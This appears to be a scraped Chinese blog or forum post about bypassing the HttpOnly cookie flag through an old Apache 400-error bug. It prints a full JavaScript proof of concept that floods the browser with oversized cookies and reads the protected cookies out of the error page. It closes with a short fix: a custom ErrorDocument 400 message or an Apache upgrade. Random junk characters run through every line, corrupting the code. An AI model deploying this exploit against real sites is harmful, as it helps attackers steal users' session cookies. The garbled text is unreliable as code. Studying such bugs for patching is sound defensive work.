很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。6 `, M6 K1 N9 G2 d
# Z* B' @5 g ~% ?; R) X8 V0 M
用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:
) u9 s4 a( H% o7 B 0 h4 {+ t: M5 x/ E* K4 `
) ?; ?8 Z$ s2 M6 n; |// http://www.exploit-db.com/exploits/18442/
( f: `1 O6 `- q! gfunction setCookies (good) {8 } P7 { z3 z& w: A- K1 C
// Construct string for cookie value3 g6 f' T; z7 D6 l! c9 ~
var str = "";7 E- M" P# r5 s8 @+ o' N* o
for (var i=0; i< 819; i++) {* J6 J- i' J7 I( d
str += "x";- u$ I( U! h m4 I% V6 Q
} r1 A* E7 e9 C
// Set cookies
# w9 G' ] r* U( k. hfor (i = 0; i < 10; i++) {) |( G! {* S0 M! _) s7 W$ P1 ]9 f
// Expire evil cookie: e0 J$ U: T& l# _& r
if (good) {$ E! q3 [. V! z; s X
var cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;"; }* l% U6 Z: L1 ^4 J& h, _0 K
}" g) n& @+ E ]& f" A2 u
// Set evil cookie
+ X* C9 Y, W9 u6 E/ h5 d& D' S& welse {
9 U8 {! O7 \( E1 `! zvar cookie = "xss"+i+"="+str+";path=/";
! |. s( F) B) \) x}$ z3 I3 ?( O) u9 w ]
document.cookie = cookie;) \$ k' u/ v+ w
}- i& [; n, u6 C! S8 D i; B( ~
}* F* ?# M( d" L0 e0 J
function makeRequest() {% F0 O+ ]+ P/ W5 o; J( B# n
setCookies();
. z, l! W) d8 f: ]6 Efunction parseCookies () {
9 a( N; q; a- v: b' i& r* h K! kvar cookie_dict = {};$ [$ r W+ ]0 F! n+ i" [
// Only react on 400 status5 [+ G/ h @8 s1 a* a! L
if (xhr.readyState === 4 && xhr.status === 400) {" K8 J5 ^8 a# {! Q2 L1 l2 B
// Replace newlines and match <pre> content) q4 X8 [" r, c) Y1 y
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);0 r5 z! E" `; Y( A$ Q% S6 I
if (content.length) {
! o) F- j8 ?; R2 W) g- O6 q// Remove Cookie: prefix M1 c; O1 K; _2 c( k% Q. V
content = content[1].replace("Cookie: ", "");
* J, Y3 c- V* {+ E% \" Z$ r9 @! Tvar cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
9 [) v p( _5 T6 A// Add cookies to object
* f* U, I0 d. N: S* Yfor (var i=0; i<cookies.length; i++) {+ A6 r( I7 H) t: R. P
var s_c = cookies.split('=',2);8 A$ ~3 q4 m* {8 k. b, \
cookie_dict[s_c[0]] = s_c[1];- S1 F. x* o7 H6 ^- L) ~
}& O K; g. k: D3 @) Z
}
- I, `3 u. L8 ~; u0 H+ d// Unset malicious cookies
7 |( c0 E+ }, g% N5 ^setCookies(true);- n2 V1 |) O! ^8 x, a' X3 J
alert(JSON.stringify(cookie_dict));
% s3 W& P% `' \+ L5 `6 k}
# `+ o2 ~3 i% f( g, {. ^}
4 u; E* _0 X/ {& N+ U1 Z// Make XHR request$ t+ y! p$ Z0 A% ~0 v
var xhr = new XMLHttpRequest();
' B+ ]; x( V, u, i. Q) Pxhr.onreadystatechange = parseCookies;* f" A5 i: f. N# l3 S7 Q" Q: d! w i
xhr.open("GET", "/", true);! c% r* Y; N3 n
xhr.send(null);
: ] E* P! y' C( u/ O}
9 b/ {' r( R, s+ o3 f: e# KmakeRequest();& r2 ^ K8 g* M4 z: ^
: r) b" U3 e6 g; i你就能看见华丽丽的400错误包含着cookie信息。
9 L0 K% D' I2 @, ?- E; G6 S1 k! N$ N
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#, t( M3 B7 W3 s: z* l8 i
G1 K" @" M: t修复方案:
6 F9 x* i8 N% G7 J4 n7 n) I# ?# w7 r1 X* H/ G2 F
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下" b! k9 S/ w$ T8 R1 \1 C {
$ e+ \ A$ \4 r' v( j2 P8 OIn the event of a problem or error, Apachecan be configured to do one of four things,
/ G! w$ I0 S6 ^' G3 R" b4 L8 X [6 @- R \
1. output asimple hardcoded error message输出一个简单生硬的错误代码信息/ g7 u! A( U6 J. q, f$ M! Q
2. output acustomized message输出一段信息
) H6 G+ P& s0 E9 `3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面 ; z$ C, Q. g, v, p) r. [' ^7 a' F
4. redirect to an external URL to handle theproblem/error转向一个外部URL% N- L! X7 T4 h- p4 S$ X6 _1 P
, u; N+ r, d& W Y' v6 s/ s
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容( j7 n; t; E' \7 L2 z! v* O0 O
& J# Y6 h* v) {# J; o2 Q7 |
Apache配置:3 l1 I# |! P+ T5 x' @) S
- z% ]; O# ]. Z4 L2 k. F: h& F
ErrorDocument400 " security test"
# H y& `! I$ b9 f$ T6 \- f& {0 |, Y8 |% `' A* o+ g. h
当然,升级apache到最新也可:)。
1 I& C& u$ h6 L5 j, p- r1 p5 H0 [- P% q& v
参考:http://httpd.apache.org/security/vulnerabilities_22.html0 E! c; J$ h1 M, j) i6 m
I- u) p: J5 \9 ^% Q
|